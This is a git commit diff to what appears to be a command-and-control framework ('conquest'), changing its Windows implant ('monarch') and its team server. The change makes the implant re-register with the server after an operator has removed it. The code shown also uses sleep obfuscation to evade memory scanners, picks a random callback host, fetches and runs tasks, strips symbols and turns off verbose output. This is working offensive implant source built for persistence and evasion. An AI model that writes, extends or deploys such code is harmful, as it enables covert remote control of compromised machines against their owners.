Agent now re-registers to the team-server when it is still alive after it was removed via the client.

This commit is contained in:
Jakob Friedl
2025-10-27 16:20:38 +01:00
parent f30f1d2ec0
commit c718e3647a
6 changed files with 58 additions and 44 deletions

View File

@@ -37,7 +37,8 @@ proc deserializeConfiguration(config: string): AgentCtx =
),
sessionKey: deriveSessionKey(agentKeyPair, unpacker.getByteArray(Key)),
agentPublicKey: agentKeyPair.publicKey,
profile: parseString(unpacker.getDataWithLengthPrefix())
profile: parseString(unpacker.getDataWithLengthPrefix()),
registered: false
)
wipeKey(agentKeyPair.privateKey)

View File

@@ -51,10 +51,15 @@ proc httpGet*(ctx: AgentCtx, heartbeat: seq[byte]): string =
# Select random callback host
let hosts = ctx.hosts.split(";")
let host = hosts[rand(hosts.len() - 1)]
let responseBody = waitFor client.getContent(fmt"http://{host}/{endpoint[0..^2]}")
let response = waitFor client.get(fmt"http://{host}/{endpoint[0..^2]}")
# Check the HTTP status code to determine whether the agent needs to re-register to the team server
if response.code == Http404:
ctx.registered = false
# Return if no tasks are queued
if responseBody.len <= 0:
let responseBody = waitFor response.body
if responseBody.len() <= 0:
return ""
# In case that tasks are found, apply data transformation to server's response body to get thr raw data

View File

@@ -17,22 +17,34 @@ proc main() =
var registration: AgentRegistrationData = ctx.collectAgentMetadata()
let registrationBytes = ctx.serializeRegistrationData(registration)
if not ctx.httpPost(registrationBytes):
print("[-] Agent registration failed.")
quit(0)
print fmt"[+] [{ctx.agentId}] Agent registered."
if ctx.httpPost(registrationBytes):
print fmt"[+] [{ctx.agentId}] Agent registered."
ctx.registered = true
else:
print "[-] Agent registration failed."
#[
Agent routine:
1. Sleep Obfuscation
2. Retrieve tasks via checkin request to a GET endpoint
3. Execute task and post result
4. If additional tasks have been fetched, go to 3.
5. If no more tasks need to be executed, go to 1.
1. Register to the team server if not already register
2. Sleep Obfuscation
3. Retrieve tasks via checkin request to a GET endpoint
4. Execute task and post result
5. If additional tasks have been fetched, go to 3.
6. If no more tasks need to be executed, go to 1.
]#
while true:
# Sleep obfuscation to evade memory scanners
sleepObfuscate(ctx.sleepSettings)
# Register
if not ctx.registered:
if ctx.httpPost(registrationBytes):
print fmt"[+] [{ctx.agentId}] Agent registered."
ctx.registered = true
else:
print "[-] Agent registration failed."
continue
let date: string = now().format(protect("dd-MM-yyyy HH:mm:ss"))
print "\n", fmt"[*] [{date}] Checking in."
@@ -46,13 +58,13 @@ proc main() =
packet: string = ctx.httpGet(heartbeatBytes)
if packet.len <= 0:
print("[*] No tasks to execute.")
print "[*] No tasks to execute."
continue
let tasks: seq[Task] = ctx.deserializePacket(packet)
if tasks.len <= 0:
print("[*] No tasks to execute.")
print "[*] No tasks to execute."
continue
# Execute all retrieved tasks and return their output to the server
@@ -63,7 +75,7 @@ proc main() =
ctx.httpPost(resultBytes)
except CatchableError as err:
print("[-] ", err.msg)
print "[-] ", err.msg
when isMainModule:
main()

View File

@@ -5,5 +5,5 @@
--passL:"-s" # Strip symbols, such as sensitive function names
-d:CONFIGURATION="PLACEHOLDERAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPLACEHOLDER"
-d:MODULES="511"
-d:VERBOSE="true"
-d:VERBOSE="false"
-o:"/mnt/c/Users/jakob/Documents/Projects/conquest/bin/monarch.x64.exe"

View File

@@ -336,6 +336,7 @@ type
sessionKey*: Key
agentPublicKey*: Key
profile*: Profile
registered*: bool
# Structure for command module definitions
type

View File

@@ -47,38 +47,33 @@ proc getTasks*(heartbeat: seq[byte]): tuple[agentId: string, tasks: seq[seq[byte
{.cast(gcsafe).}:
try:
# Deserialize checkin request to obtain agentId and listenerId
let
request: Heartbeat = cq.deserializeHeartbeat(heartbeat)
agentId = Uuid.toString(request.header.agentId)
listenerId = Uuid.toString(request.listenerId)
timestamp = request.timestamp
# Deserialize checkin request to obtain agentId and listenerId
let
request: Heartbeat = cq.deserializeHeartbeat(heartbeat)
agentId = Uuid.toString(request.header.agentId)
listenerId = Uuid.toString(request.listenerId)
timestamp = request.timestamp
var tasks: seq[seq[byte]]
var tasks: seq[seq[byte]]
# Check if listener exists
if not cq.dbListenerExists(listenerId):
raise newException(ValueError, fmt"Task-retrieval request made to non-existent listener: {listenerId}." & "\n")
# Check if listener exists
if not cq.dbListenerExists(listenerId):
raise newException(ValueError, fmt"Task-retrieval request made to non-existent listener: {listenerId}." & "\n")
# Check if agent exists
if not cq.dbAgentExists(agentId):
raise newException(ValueError, fmt"Task-retrieval request made to non-existent agent: {agentId}." & "\n")
# Check if agent exists
if not cq.dbAgentExists(agentId):
raise newException(ValueError, fmt"Task-retrieval request made to non-existent agent: {agentId}." & "\n")
# Update the last check-in date for the accessed agent
cq.agents[agentId].latestCheckin = cast[int64](timestamp)
cq.client.sendAgentCheckin(agentId)
# Update the last check-in date for the accessed agent
cq.agents[agentId].latestCheckin = cast[int64](timestamp)
cq.client.sendAgentCheckin(agentId)
# Return tasks
for task in cq.agents[agentId].tasks.mitems: # Iterate over agents as mutable items in order to modify GMAC tag
let taskData = cq.serializeTask(task)
tasks.add(taskData)
return (agentId, tasks)
except CatchableError as err:
cq.error(err.msg)
return ("", @[])
# Return tasks
for task in cq.agents[agentId].tasks.mitems: # Iterate over agents as mutable items in order to modify GMAC tag
let taskData = cq.serializeTask(task)
tasks.add(taskData)
return (agentId, tasks)
proc handleResult*(resultData: seq[byte]) =